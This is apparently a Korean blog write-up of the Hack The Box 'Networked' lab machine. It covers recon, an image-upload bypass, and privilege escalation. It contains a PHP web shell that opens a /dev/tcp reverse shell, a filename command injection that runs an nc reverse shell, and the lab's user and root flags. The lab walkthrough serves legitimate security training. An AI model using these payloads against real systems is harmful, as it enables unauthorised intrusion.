-
[HTB] Networked WriteupWargame/Hack The Box 2022. 2. 9. 22:57
nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.154.46
gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.154.46/ -x php,txt -o gobusterResult.txt
/upload.php를 통해 파일 업로드를 하면, /uploads/ 에 파일이 업로드 되는데 이 때 파일명이 변환된다.
/backup 에는 소스파일이 있다. 이 파일들을 분석 해보니 이미지 파일만 업로드가 가능했다.
소스코드 분석 및 여러 시도를 하면서 이미지 파일 뒤에 php 소스를 붙히고, 이미지 이름을 aa.php.png와 같이 하면 웹쉘이 실행 가능함을 알아냈다.
<?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.114/1234 0>&1'"); ?>
쉘을 획득 후 사용자 홈 디렉토리에 가보니 crontab.guly 파일을 볼 수 있었는데, 이는 3분마다 check_attack.php 를 실행시킨다는 내용이었다.
#check_attack.php <?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = "X-Mailer: check_attack.php\r\n"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key => $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?>
파일 이름으로 Command Injection이 가능하므로 리버스 쉘 커맨드를 이름으로 하는 파일을 생성했다.
(-e /bin/bash 는 슬래시때문에 사용이 불가하다)
touch 'a.; nc 10.10.14.114 6338 -c bash;'
권한 상승을 위해 sudo -l 을 해보았다.
해당 파일로 이것저것 테스트결과 띄어쓰기를 하면 그 뒤 입력이 커맨드로 호출됨을 알 수 있었고, 루트권한의 쉘을 획득 할 수 있었다.
FLAG =
[user] 526cfc2305f17faaacecf212c57d71c5
[root] 0a8ecda83f1d81251099e8ac3d0dcb82
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] SwagShop Writeup (0) 2022.05.08 [HTB] FreindZone Writeup (0) 2022.02.16 [HTB] Irked Writeup (0) 2022.02.07 [HTB] Sunday Writeup (0) 2022.02.06 [HTB] Bounty Writeup (0) 2022.02.05